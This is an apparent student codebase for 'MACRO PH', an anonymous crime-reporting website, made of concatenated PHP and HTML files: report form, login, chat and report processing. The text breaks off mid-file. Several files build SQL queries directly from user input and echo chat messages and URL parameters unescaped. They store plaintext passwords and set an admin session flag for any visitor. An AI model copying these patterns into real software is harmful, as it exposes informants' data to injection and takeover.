$("#chatlogs").scroll (function(){ scrolled=true; }); </script> <div class="container" id="main"> <div class="row" id="welcome"> <div id="chat123" class="col-md-4 col-sm-4 leftside animated fadeInLeft" style="padding-top:7%;max-height:620px;min-height: 350px;overflow:auto; margin:none;"> <script type='text/javascript'>setInterval(function(){ $('#chat-inbox').load('../chat/inbox.php'); }, 2000);</script> <div id="chat-inbox"> </div> </div> <div class="col-md-8 col-sm-8 leftside animated fadeInLeft"> <br><br><br><br> <div class="leftside jumbotron well" id="chatbox"> <?php if (true) { ?> <div id="chatArea "> <div class="container"> <div class="row"> <div class = " well"> <div class="well" id="chatlogs">Retrieving.. <span class="fa fa-circle-o-notch fa-spin fa-fw"></span> </div><div id="loading" style="display:none;"><span class="fa fa-circle-o-notch fa-spin fa-fw"></span></div> <form name="form1"> <div class="form-group"> <div class="textarea-container"> <textarea class="form-control" name="msg" placeholder="Type your message here" onkeydown = "if (event.keyCode == 13) document.getElementById('chat-send').click()" ></textarea> <a href="#" id="chat-send" onclick="submitChat()"><span class="fa fa-paper-plane"></span></a> </div> <!-- <textarea rows="1" style="resize:none;" class="form-control" name="msg"></textarea> <br /> <a href="#" class="btn btn-primary" onclick="submitChat()">send</a> <br /> <br /> --> </div> </form> </div> </div> </div> </div> <?php } ?> </div> </div> </div> <!-- end row --> </div> <!-- end container --> </div><!-- end container --> <script>window.jQuery || document.write('<script src="../js/jquery-1.8.2.min.js"><\/script>')</script> <script> function submitChat() { if ( form1.msg.value == "") { return; } //$('#loading').show(); var msg = form1.msg.value; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var chatlogs = document.getElementById("chatlogs"); chatlogs.innerHTML = xmlhttp.responseText; form1.msg.value=""; $("#chatlogs").scrollTop(function() { return this.scrollHeight; }); //$('#loading').hide(); } } // <?php $_SESSION['isAdmin'] = true; ?> // xmlhttp.open("GET","../chat/insert.php?msg="+msg + "&id=" + id, true); xmlhttp.send(); } $(document).ready (function(){ $.ajaxSetup({cache:false}); }); </script> <script language="javascript" type="text/javascript"> document.oncontextmenu=RightMouseDown; document.onmousedown = mouseDown; function mouseDown(e) { if (e.which==3) {//righClick alert("Disabled - do whatever you like here.."); } } function RightMouseDown() { return false;} </script> </body> </html> <file_sep>/multistep.php <?php include_once 'functions/browserchecker.php'; ?> <?php include_once 'functions/browserchecker.php'; ?> <?php if (isset($_POST['wantedID']) && isset($_POST['wantedName'])){ $wantedID = $_POST['wantedID']; $wantedName = $_POST['wantedName']; $title = "Report crime for our wanted: "; $caseID = ""; } else if (isset($_POST['caseID'])){ $caseID = $_POST['caseID']; $title = "Report crime for our case: "; $wantedID = ""; $wantedName= ""; } else { $wantedID = ""; $wantedName= ""; $title = ""; $caseID = ""; } ?> <!DOCTYPE html> <html> <head> <title>MACRO PH | REPORT FORMS</title> <link href="css/multistep.css" rel="stylesheet"> <link rel="icon" href="images/macrofavico.ico"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Lato&subset=latin,latin-ext"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.js"></script> <link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.css" rel="stylesheet"/> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet"/> <link rel="stylesheet" type="text/css" href="css/navbar.css"> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> </head> <body style="background-color: pink;"> <!-- multistep form --> <?php include_once 'navbar.html'; ?><br><br><br><br> <div class="container" id="center1"> <div class="row"> <div class="col-md-12"> <form id="msform" name="msform" method="post" action="functions/processreport.php" enctype="multipart/form-data"> <!-- progressbar --> <div class="progressbar noHighlight" id="progs" > <ul id="progressbar" class="hidden-xs"> <li class="active">General</li> <li>Involved Party</li> <li>Involved Vehicle</li> <li>Evidence</li> <li>Your Information</li> <li>Agreement</li> </ul> </div> <h3 class="fs-subtitle"><?php echo htmlentities($title); ?><b><?php echo htmlentities($wantedName.$caseID); ?></b></h3> <!-- fieldsets --> <fieldset class="general-info"> <h2 class="fs-title">General Information</h2> <h3 class="fs-subtitle">(Required)</h3> <select id="typeOfOffense" name="typeOfOffense" class="col-xs-12 col-sm-6" required> <option value="" selected hidden>SELECT A CRIME</option> <option value="Arson">Arson</option> <option value="Assault/Harassment">Assault/Harassment</option> <option value="Burglary">Burglary</option> <option value="Business crime">Business crime</option> <option value="Criminal damage">Criminal damage</option> <option value="Cybercrime">Cybercrime</option> <option value="Disqualified/Uninsured drivers">Disqualified/Uninsured drivers</option> <option value="Drink-driving">Drink-driving</option> <option value="Drug manufacture">Drug manufacture</option> <option value="Drug trafficking/supply">Drug trafficking/supply</option> <option value="Environmental crime">Environmental crime</option> <option value="Fraud and forgery">Fraud and forgery</option> <option value="Fugitive campaigns">Fugitive campaigns</option> <option value="Handling stolen goods">Handling stolen goods</option> <option value="Human trafficking">Human trafficking</option> <option value="Illegal Tobacco">Illegal Tobacco</option> <option value="Immigration">Immigration</option> <option value="Most Wanted suspects">Most Wanted suspects</option> <option value="Murder">Murder</option> <option value="Possession of weapons">Possession of weapons</option> <option value="Proceeds of crime">Proceeds of crime</option> <option value="Rape/sexual offences">Rape/sexual offences</option> <option value="Robbery">Robbery</option> <option value="Smuggling">Smuggling</option> <option value="Tax evasion">Tax evasion</option> <option value="Terrorism">Terrorism</option> <option value="Theft">Theft</option> <option value="Vehicle crime">Vehicle crime</option> </select> <span class="tooltipContainer"><input id="dateTimeOfOffense" class ="col-xs-12 col-sm-6" type="text" name="dateTimeOfOffense" placeholder="Date" required/><span class="tooltiptext">Or your approximate guess of the time and date of the crime.</span></span> <span class="tooltipContainer"><input id="cityOfOffense" class="col-xs-12 col-md-12" type="text" name="cityOfOffense" disabled="true" required value="Manila" /> <span class="tooltiptext">The city or district the crime took place.</span></span> <span class="tooltipContainer"><input id="barangayOfOffense" class="col-xs-12 col-md-6" type="text" name="barangayOfOffense" placeholder="Barangay"/><span class="tooltiptext">Optional</span></span> <span class="tooltipContainer"><input id="streetAddressOfOffense" class="col-xs-12 col-md-6" name="streetAddressOfOffense" type="text" placeholder="Street"/><span class="tooltiptext">Optional</span></span> <span class="tooltipContainer"><textarea rows="10" id="description" class="col-xs-12" type="text" name="description" placeholder="Description" required/></textarea><span class="tooltiptext">Describe as detailed as possible the crime you want to report about including <b>who, what, when, where and how do you know</b>.</span></span> <input type="button" name="next" id="genNext" class="btn btn-primary btn-block" value="Next" /> </fieldset> <fieldset> <h2 class="fs-title">Involved Parties</h2> <h3 class="fs-subtitle">(OPTIONAL)</h3><h3 class="fs-subtitle"><label for="quantityParty">Number of Involved Person/s: </label><input type="number" min='0' id="quantityParty" name="quantityParty" class="col-xs-12" value=0></h3> <div class="duplicates"> <div id="party0" class="hidden" name ="party0"> <hr> <input type="text" name="susFirstname[]" class="col-xs-12 col-sm-6 col-md-4" placeholder="First Name" /> <input type="text" name="susLastname[]" class="col-xs-12 col-sm-6 col-md-4" placeholder="<NAME>" /> <input type="text" name="susAlias[]" class="col-xs-12 col-sm-6 col-md-4" placeholder="Alias" /> <select class="col-xs-12 col-sm-6 col-md-4" name="susRace[]"><option value='' selected hidden>Race</option><option>Black</option><option>White</option><option>Hispanic</option><option>Asian</option><option>Native American</option><option>First Nations</option><option>Puerto Rican</option><option>Japanese</option><option>Chinese</option><option>Korean</option><option>Filipino</option><option>Micronesian</option><option>Samoan</option><option>Hawaiian</option><option>Pacific Islander</option><option>Other</option> </select> <select class="col-xs-12 col-sm-6 col-md-4" name="susGender[]"><option value='' selected hidden>Gender</option><option value="Unknown">Unknown</option><option value="Male">Male</option><option value="Female">Female</option> </select> <select class="col-xs-12 col-sm-6 col-md-4" name="susWeight[]"><option value='' selected hidden>Weight/Build</option><option value="Thin">Thin</option><option value="Average">Average</option><option value="Athletic">Athletic</option><option value="Large">Large</option><option value="Obese">Obese</option> </select> <input type="text" name="susHeight[]" class="col-xs-12 col-sm-6 col-md-3" placeholder="Height (Approx.)" /> <select class="col-xs-12 col-sm-6 col-md-3" name="susHairColor[]"> <option selected hidden>Hair Color</option> <option select disabled>SELECT HAIR COLOR</option> <option value="Black">Black</option> <option value="Brown">Brown</option> <option value="Blond">Blond</option> <option value="Red">Red</option> <option value="Gray">Gray</option> <option value="White">White</option> <option value="Others">Others</option> </select> <input type="text" class="col-xs-12 col-sm-6 col-md-3" name="susFacialhair[]" placeholder="Facial Hair" /> <input type="text" class="col-xs-12 col-sm-6 col-md-3" name="susEyecolor[]" placeholder="Eye Color" /> <input type="number" class="col-xs-12 col-sm-6 col-md-12" name="susNumber[]" placeholder="Suspect's Phone #" /> <input type="number" class="col-xs-12 col-sm-6 col-md-6" name="susAge[]" placeholder="Age (Approx.)" /> <input type="text" class="col-xs-12 col-md-6" name="susLastSeen[]" placeholder="Last Seen Area" /> <input type="text" class="col-xs-12 col-sm-12" name="susScars[]" placeholder="Scars, Marks, etc.." /> <input type="text" class="col-xs-12 col-sm-12" name="susClothing[]" placeholder="Clothing" /> <textarea rows="5" class="col-xs-12" name="susFeatures[]" placeholder="Distinguishing Features (any other information about what the offender looks like) "></textarea> <input type = "text" class="col-xs-12" name="susAssoc[]" placeholder="Gangs, assosiates, hangouts or animals"><br><br><br> </div> </div> <input type="button" name="next" class="next btn-block" value="Next" id="genNext" /> <input type="button" name="previous" class="previous btn-block" value="Previous" id="previous" /> </fieldset> <fieldset> <h2 class="fs-title">Vehicle</h2> <h3 class="fs-subtitle">(OPTIONAL)</h3> <h3 class="fs-subtitle"><label for="quantityVehicle">Number of Involved Vehicle/s: </label><input type="number" min='0' id="quantityVehicle" class="col-xs-12" name="quantityVehicle" value=0></h3> <div class="duplicates"> <div id="vehicle0" class = "hidden" name="vehicle0"> <hr> <input type="text" name="carMake[]" class="col-xs-12 col-sm-6 col-md-4" placeholder="Make/Brand" /> <input type="text" name="carModel[]" class="col-xs-12 col-sm-6 col-md-4" placeholder="Model" /> <input type="text" id="datepicker" name="carYear[]" class="col-xs-12 col-sm-12 col-md-4" placeholder="Year"/> <input type="text" name="carColor[]" class="col-xs-12 col-sm-6 col-md-6" placeholder="Color" /> <input type="text" name="carPlate[]" class="col-xs-12 col-sm-6 col-md-6" placeholder="Plate Number" /> <textarea rows="5" name="carDesc[]" class="col-xs-12" placeholder="Description (any identifying marks, bumper stickers, company logos, etc.)"></textarea> </div> </div> <input type="button" name="next" class="next btn-block" value="Next" id="genNext" /> <input type="button" name="previous" class="previous btn-block" value="Previous" id="previous" /> </fieldset> <fieldset> <h2 class="fs-title">Evidence</h2> <h3 class="fs-subtitle">(OPTIONAL)</h3> <h3 class="fs-subtitle"><label for="quantityEvidence">Number of Evidence/s: </label><input type="number" min='0' id="quantityEvidence" class="col-xs-12" name="quantityEvidence" value=0 ></h3> <h3 class="fs-subtitle"><p>If you have a digital photograph that's relevant to this report (for example, a photo taken with your phone) you can upload it here. Please ensure the image is in .jpg or .jpeg format and that it’s no bigger than 2 MB in size.</p><br> <p>Files must be less than <strong>20 MB</strong><br>Allowed file types: <strong>MP3, MP4, JPG, JPEG, PNG & GIF</strong></p></h3> <div class="duplicates"> <div id="evidence0" class="hidden"> <input name="evidence[]" accept=".jpg, .jpeg, .png, .gif, .mp3, .mp4" type="file" class="col-xs-12"> </div> </div> <input type="button" name="next" class="next btn-block" value="Next" id="genNext" /> <input type="button" name="previous" class="previous btn-block" value="Previous" id="previous" /> </fieldset> <fieldset> <h2 class="fs-title">How to reach you?</h2> <h3 class="fs-subtitle">(OPTIONAL)</h3> <h3 class="fs-subtitle"><p class="notice">Confidential - For Police use only - Private details are protected by the Data Protection Act</p><p> <br> The information you provide to us are anonymous. However, you must know that the investigation and ability to prosecute the offender(s) is severely limited if the police cannot contact you.</p> <p>You may also specify how you are contacted and if contacting you would cause you any difficulties.</p> <p>We will not pass on your details without your consent and would ask you to consider giving your details confidentially.</p></h3> <input type="text" name="infLastname[]" class="col-xs-12 col-sm-6 col-md-6" placeholder="Your Last Name" /> <input type="text" name="infFirstname[]" class="col-xs-12 col-sm-6 col-md-6" placeholder="Your First Name" /> <input type="text" name="infStreetAddress[]" class="col-xs-12 col-sm-6 col-md-6" placeholder="Street Address" /> <input type="text" name="infBarangay[]" class="col-xs-12 col-sm-6 col-md-6" placeholder="Barangay" /> <input type="number" name="infNumber[]" class="col-xs-12 col-sm-6 col-md-6" id="contactphone" placeholder="Contact Phone" /> <input type="text" id="email" name="infEmail[]" class="col-xs-12 col-sm-6 col-md-6" placeholder="E-mail Address" > <input type="button" name="next" class="next btn-block" value="Next" id="genNext" /> <input type="button" name="previous" class="previous btn-block" value="Previous" id="previous" /> </fieldset> <fieldset id="finalize"> <h2 class="fs-title">Agreement</h2> <h3 class="fs-subtitle"> This tip submission system is provided to the public for the purpose of anonymously reporting known or suspected suspicious or criminal activity which has occurred, or may occur. Any misuse or abuse of this system is strictly prohibited. <span class='notice'>MAKING A FALSE REPORT TO LAW ENFORCEMENT IS A SERIOUS OFFENSE AND MAY BE PUNISHABLE BY LAW.</span> You acknowledge and confirm that the information you are providing is not urgent or requiring prompt or immediate attention, and you understand that you should call 911 or contact the appropriate authorities by phone if this is time sensitive information. Children must be 13 years or older or have parents’ permission to use this service.</h3> <center> <script type="text/javascript"> var RecaptchaOptions = { theme : 'clean', tabindex : 0 }; </script> <div class="g-recaptcha" data-theme="light" data-sitekey="<KEY>" style="transform:scale(0.77);-webkit-transform:scale(0.77);transform-origin:0 0;-webkit-transform-origin:0 0;"></div> <!-- uncomment below is your in macroph.ml --> <!-- <div class="g-recaptcha" data-callback="imNotARobot" data-sitekey="<KEY>"></div></center><br> --> <!-- uncomment below is your in localhost --> <!-- </script><div class="g-recaptcha" data-callback="imNotARobot" data-sitekey="<KEY>"></div></center><br> --> <p class="noHighlight"> <input type="text" id="password" name="password" class="byTwo" placeholder="Password for your Report" required/></p> <p class="noHighlight"> <input type="checkbox" name="agreement" id="agreement" required/>&nbsp;<label for="agreement" class="byThree">I agree to the terms and conditions.</label></p> <hr> <input type="hidden" id="involvedParty" name="involvedParty" value=0> <input type="hidden" id="involvedVehicle" name="involvedVehicle" value=0> <input type="hidden" id="evidenceUploaded" name="evidenceUploaded" value=0> <input type="hidden" id="wantedID" name="wantedID" value=<?php echo htmlentities($wantedID);?>> <input type="submit" id="submitForm" name="submit" class="btn btn-block" value="Submit" /> <input type="button" name="previous" class="previous btn-block" value="Previous" id="previous" /> </fieldset> </form> </div> </div> </div> </div> <!-- jQuery --> <script src="js/jquery-1.11.1.min.js" type="text/javascript"></script> <!-- jQuery easing plugin --> <script src="js/jquery.easing.min.js" type="text/javascript"></script> <script src="js/multistep.js"></script> <script src='https://www.google.com/recaptcha/api.js'></script> </body> </html> <file_sep>/login/login.php <html> <head> </head> <body> <div class="col-md-4 col-sm-4 animated fadeInRight"> <div class="panel panel-default well" id="reportpanel" > <div class="report-form"> <div class="container"> <form method="GET"> <h4 class="form-signin-heading">Get started!</h4>Make a new report, tell us your story or hear from us. <p></p> <div class="row col-sm-12" id="hbtnrow"> </div> </form> </div> </div> </div> </div> <div class="col-md-4 col-sm-4 animated fadeInRight"> <div class="panel panel-default well" id="loginpanel" > <div class="signin-form"> <div class="container "> <div id="login-area"> <?php if ($_SESSION['loggedIn']) { require_once ("login/logout.php"); } else{ ?> <form class="form-signin" id='login-form' method="POST"> <p><h4 class="form-signin-heading">Update your report,</h4>check its status and talk with us.</p> <div id="error"> <!-- error will be shown here ! --> </div> <div class="form-group"> <input type="text" class="form-control" id="user_email" id="username_input" name="user_email" placeholder="Reference ID" autofocus="" /> </div> <div class="form-group"> <input type="<PASSWORD>" class="form-control" id="password" name="password" placeholder="<PASSWORD>" /> <i id="closeeye" style="float: right;margin-left: -23px;padding-right: 8px;margin-top: -25px; position: relative;z-index: 2;" class="glyphicon glyphicon-eye-close"></i> <i id="openeye" style="display:none;float: right;margin-left: -23px;padding-right: 8px; margin-top: -25px; position: relative;z-index: 2;" class="glyphicon glyphicon-eye-open"></i> </div> <div class="form-group"> <button name="btn-login" class="btn btn-log btn-lg btn-success btn-block" id="btn-login" type="submit"><span class="fa fa-sign-in"></span> &nbsp;Check Report</button> </div> </form> <?php } ?> </div> </div> </div> </div> </div> </body> </html> <script type="text/javascript" src="login/script.js"> </script> <file_sep>/login/loginprocess.php <?php session_start(); require_once '../includes/dbconnect.php'; if(isset($_POST['btn-login'])) { $user_email = trim($_POST['user_email']); $user_password = trim($_POST['password']); //$password = md5($user_password); $password = $user_password; try { $sql = "SELECT * FROM `referencecodes` WHERE `referenceID`='$user_email'"; if ($result = mysqli_query($conn, $sql)) { if (mysqli_num_rows($result) > 0) { while($row = mysqli_fetch_assoc($result)) { if($row['password']==$password){ $_SESSION['reportID'] = $row['reportID']; $_SESSION['isAdmin'] = false; //echo $row['referenceID']; echo 'ok'; } else{ echo "ID or password does not exist"; // wrong details } } } else{ echo "ID or password does not exist"; // wrong details } } /* $stmt = $db_con->prepare("SELECT * FROM ref WHERE user_email=:email"); $stmt->execute(array(":email"=>$user_email)); $row = $stmt->fetch(PDO::FETCH_ASSOC); $count = $stmt->rowCount(); if($row['user_password']==$password){ echo "ok"; // log in $_SESSION['user_session'] = $row['user_id']; } else{ echo "email or password does not exist."; // wrong details } */ } catch(PDOException $e){ echo $e->getMessage(); } } ?> <file_sep>/administrator/updateUnsolved.php <?php include_once '../includes/dbconnect.php' ?> <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous"> <!-- Optional theme --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="<KEY>" crossorigin="anonymous"> <title></title> </head> <body> <br> <div class="container" style="margin-left:50px!important;"> <div class="row" style="margin-left:-70px!important;"> <form action="functions/updateUnsolvedFunc.php" method="POST" enctype="multipart/form-data"> <div class="col-xs-12"> <select class="form-control" name="caseID"> <?php $sql = "SELECT * FROM unsolved ORDER BY caseID DESC"; $result = $conn->query($sql); if ($result->num_rows > 0) { // output data of each row while($row = $result->fetch_assoc()) { ?> <option value="<?php echo $row["caseID"]; ?>">ID: <?php echo $row["caseID"]; ?> → Title: <b><?php echo strtoupper($row["title"]); ?></b></option> <?php }}?> </select><br></div> <div class="col-xs-6"><input type="text" class="form-control" name="title" placeholder="Title" required></div> <div class="col-xs-6"><input type="text" class="form-control" name="casenumber" placeholder="Case Number" required><br></div> <div class="col-xs-12"><textarea name="description" class="form-control" rows="5" placeholder="ENTER YOUR DESCRIPTION........"></textarea><br></div> <div class="col-xs-12"> <input type="file" class="form-control" name="file" ><br></div> <div class="col-xs-12"><button type="submit" class="btn btn-primary btn-lg btn-block" name="submit">UPDATE</button></div> </div> <script language="javascript" type="text/javascript"> document.oncontextmenu=RightMouseDown; document.onmousedown = mouseDown; function mouseDown(e) { if (e.which==3) {//righClick alert("Disabled - do whatever you like here.."); } } function RightMouseDown() { return false;} </script> <!-- Latest compiled and minified JavaScript --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script> </body> </html> <file_sep>/chat/insert.php <?php if (session_status() == PHP_SESSION_NONE) { session_start(); } if (isset($_GET['id'])){ $reportID = $_GET['id']; } else $reportID = $_SESSION['reportID']; $msg = $_REQUEST['msg']; $auth = 0; if ((isset($_SESSION['isAdmin']) && $_SESSION['isAdmin'] == true)){ $auth = 1; } require_once '../includes/dbconnect.php'; //$insert = ("INSERT INTO chatlogs (`reportID` , `message`, `isAdmin`) VALUES ('$reportID','$msg', `FALSE`)"); $insert = "INSERT INTO chatlogs (`reportID` , `message`, `isAdmin`) VALUES ($reportID,'$msg', $auth)"; if (mysqli_query ($conn,$insert)){ if ($result1 = mysqli_query($conn, "SELECT * FROM chatlogs WHERE `reportID`=$reportID ORDER by chatID ASC")){ $user = ""; while ($extract = mysqli_fetch_array($result1)) { if ($extract['isAdmin'] == TRUE) { $user = "<span style='color:red;font-weight:900;'>Macro Officer</span>"; } else { $user = "<span style='color:green;font-weight:700;'>Client</span>"; } $formattedTime = "<sup style='color:gray;font-size:50%;'>" . $extract['date_sent'] . "</sup>"; echo $user . " : " . $extract['message'] . " ". $formattedTime . "<br /><hr>" ; } } } else { echo "failed to insert"; } ?> <file_sep>/functions/reportsent.php <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <title>MACRO | REPORT SUCCESS</title> <link rel="icon" href="../images/macrofavico.ico"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Anton"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Faster One"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Didact Gothic"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Didact Antic"> <link rel="stylesheet" type="text/css" href="../css/navbar.css"> <link href="../css/animate.css" rel="stylesheet"> </head> <body onload="myFunction()"> <div class="container" onload="myFunction()"> <div class="row"> <div id="preloader"> <div id="loader"></div> </div> </div> </div> <div id="content"> <?php require '../navbarFunctions.html' ?> <div class='container-fluid'> <div class='row padding15'> <div class='col-xs-10 col-md-6 col-xs-offset-1 col-md-offset-3'> <div class='row text-center'><br><br><br><br> <hr/> <h1 style="font-family: 'Anton', serif;font-size: 48px;">MACRO PH</h1> </div> <div> <center> <h3 class='text-success' style="font-family: 'Faster One', serif;font-size: 30px;"> REPORT SUCCESS! </h3> </center> <br /> <center> <p class='lead' style="font-family: 'Didact Gothic', serif;font-size: 25px;"> REFERENCE ID: <b><?=$_GET['referenceID']?></b> <br> PASSWORD: <b><?=$_GET['referencePassword']?></b></center> <br/> <br/> <p style="font-family: 'Antic', serif;">DO NOT LOSE THE ABOVE REFERENCE ID AND PASSWORD. IT IS THE ONLY WAY TO CHECK THE STATUS OF YOUR REPORT. Be sure to login at <a href="../">MACRO PH</a> to provide any additional information to this report. Also, login often to see if there are any follow up questions pending which you could possibly answer.</p> <br></p> </div> <hr/> <div class='row text-center padding15'> <a href='../'>&copy; 2018 MACRO PH</a> </div> </div> </div> </div> </div> <script type="text/javascript"> var Start; function myFunction(){ Start = setTimeout(showpage,2500); } function showpage(){ document.getElementById("preloader").style.display="none"; document.getElementById("loader").style.display="none"; document.getElementById("content").style.display="block"; } </script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </body> </html> <file_sep>/README.md # Anonymous Crime Reporting Online Anonymous Crime Reporting Online. <file_sep>/chat/inbox.php <center><h1 style="font-family: 'Abril Fatface';font-size: 50px;"> &nbsp; &nbsp; &nbsp; &nbsp;Inbox</h1> <ul style="list-style-type: none;"><?php require_once '../includes/dbconnect.php'; $result1 = mysqli_query($conn, "SELECT t1.* FROM `chatlogs` t1 JOIN (SELECT *, MAX(`date_sent`) date_sent2 FROM chatlogs GROUP BY reportID) t2 ON t1.reportID = t2.reportID AND t1.date_sent = t2.date_sent2 GROUP BY reportID ORDER BY t1.date_sent DESC"); $_SESSION['isAdmin'] = true; while ($extract = mysqli_fetch_array($result1)) { echo "<li><button id='chats". $extract['reportID'] ."' value='". $extract['reportID'] . "' style='border:none;border-radius:10px; margin-bottom:20px;min-height:70px;font-family:Georgia, serif;padding:0;text-decoration:none;max-width:180px;min-width:180px;overflow: auto;'>"; $formattedTime = "<sup style='color:gray;font-size:50%;'>" . $extract['date_sent'] . "</sup>"; if ($extract['isRead'] == 0 AND $extract['isAdmin'] == 0){ echo "<b>"; echo $extract['reportID'] . " : " . $extract['message'] . " ". $formattedTime . "<br /><hr>"; echo "</b>"; } else { echo $extract['reportID'] . " : " . $extract['message'] . " ". $formattedTime . "<br /><hr>"; } echo "</button></li>"; ?> <script type="text/javascript"> var myInterval; $('#chats' + '<?php echo $extract["reportID"]; ?>').on('click', function(){ clearInterval(myInterval); id = '<?php echo $extract['reportID']; ?>'; myInterval = setInterval(function(){ $("#chatlogs").load('../chat/logs.php?id='+ '<?php echo $extract['reportID']; ?>'); updateScroll(); }, 2000); $.ajax({ type: "POST", url: '../chat/read.php', data:{reportID:<?php echo $extract['reportID']; ?>} }); }); </script> <?php } ?></ul></center> <file_sep>/functions/processreport.php <?php if (isset($_POST['submit']) && $_SERVER['REQUEST_METHOD'] == 'POST'){ require ('../includes/dbconnect.php'); /************ set values ***********/ $involvedPartyQuantity = mysqli_escape_string($conn,$_POST['involvedParty']); $involvedVehicleQuantity = mysqli_escape_string($conn,$_POST['involvedVehicle']); $evidenceUploadedQuantity = mysqli_escape_string($conn,$_POST['evidenceUploaded']); $sql_str = ""; $generalInfo_fields = array("description", "typeOfOffense", "dateTimeOfOffense", "streetAddressOfOffense", "barangayOfOffense", "cityOfOffense","warrantID","caseID"); $involvedParties_fields = array("susFirstname", "susLastname", "susAlias", "susLastSeen", "susRace", "susGender", "susWeight", "susHeight", "susHairColor", "susFacialhair", "susEyecolor", "susNumber", "susAge", "susScars", "susClothing", "susFeatures"); $involvedVehicles_fields = array("carMake", "carModel", "carYear", "carColor", "carPlate", "carDesc"); $sender_fields = array("infLastname", "infFirstname", "infStreetAddress", "infBarangay", "infNumber", "infEmail"); $referenceID = ""; /************* general info ******************/ /* foreach ($generalInfo_fields as $field) { if (isset($_POST[$field])) { $$field = $_POST[$field]; } } */ $sql_str .= processSqlString($generalInfo_fields, 0,"", 'reports'); if (!mysqli_query($conn, $sql_str)) { printf("Errormessage: %s\n", mysqli_error($conn)); } else { $sql_str = ""; } $last_id = mysqli_insert_id($conn); /************ involved parties ****************/ $sql_str .= processSqlString($involvedParties_fields, $involvedPartyQuantity,$last_id, 'involvedparty'); /*************** involved vehicle ***********/ $sql_str .= processSqlString($involvedVehicles_fields, $involvedVehicleQuantity,$last_id, 'involvedvehicle'); /*************** informant/sender info ***********/ $sql_str .= processSqlString($sender_fields, 0,$last_id, 'sender'); /**************reference id ************/ do{ $referenceID= generateRandomString(5); $check_ref = "SELECT `referenceID` FROM `referencecodes` WHERE referenceID='$referenceID';"; $result = mysqli_query($conn,$check_ref); if (!$result) { die(mysqli_error($conn)); } }while ( mysqli_num_rows($result)>0); $refpassword = $_POST['<PASSWORD>']; $sql_str .= "INSERT INTO `referencecodes` (`referenceID`, `password`, `reportID`) VALUES ('$referenceID','$refpassword', $last_id);"; /**************** evidence start **************************************/ $target_dir = "../uploads/"; $fileStr = "evidence"; for ($i=0 ; $i<=$evidenceUploadedQuantity ; $i++){ $target_file = $target_dir . basename($_FILES[$fileStr]["name"][$i]); $uploadOk = 1; $imageFileType = pathinfo($target_file,PATHINFO_EXTENSION); // Check if image file is a actual image or fake image if(isset($_POST["submit"]) && $_FILES[$fileStr]["error"][$i] == 0) { $check = getimagesize($_FILES[$fileStr]["tmp_name"][$i]); if($check != false) {?> <!-- start of design --> <?php echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; continue; } } // Check if file already exists /*if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = 0; }*/ // Check file names do { $new_file_name = generateRandomString(20) . "." .$imageFileType; $new_target_file = $target_dir . $new_file_name; }while (file_exists($new_target_file)); // Check file size if ($_FILES[$fileStr]["size"][$i] > 20000000) { echo "Sorry, your file is too large."; $uploadOk = 0; continue; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" && $imageFileType != "mp3" && $imageFileType != "mp4") { echo "Sorry, only MP3, MP4, JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = 0; continue; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded."; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES[$fileStr]["tmp_name"][$i], $new_target_file)) { $sql_str .= "INSERT INTO `attachments` (`fileName`, `reportID`) VALUES ('$new_file_name', '$last_id');"; echo "The file ". basename( $_FILES[$fileStr]["name"][$i]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } /************************ update log ***********************************/ /*$ip= get_client_ip(); */ ?> <!--<script> alert ('<?php echo "success! your ip is " . $ip;?>'); </script>--> <?php /*$sql_str.= "INSERT INTO `updatelog` (`reportID`,`reason`,`loggedIP`) VALUES ($last_id,'New Report','$ip');"; */ /************************ process query ***********************************/ if (mysqli_multi_query($conn, $sql_str)) { echo "New report created successfully<br>"; ?> <div> <?php echo "Your reference ID : $referenceID<br>"; echo "And password: <PASSWORD><br>"; ?> <p>DO NOT LOSE THE ABOVE CODE NUMBER AND PASSWORD. IT IS THE ONLY WAY TO CHECK THE STATUS OF YOUR TIP. Be sure to login at www.xxx.com to provide any additional information to this tip. Also, login often to see if there are any follow up questions pending which you could possibly answer. </p> <p>Thank you for submitting your tip with us online. Please 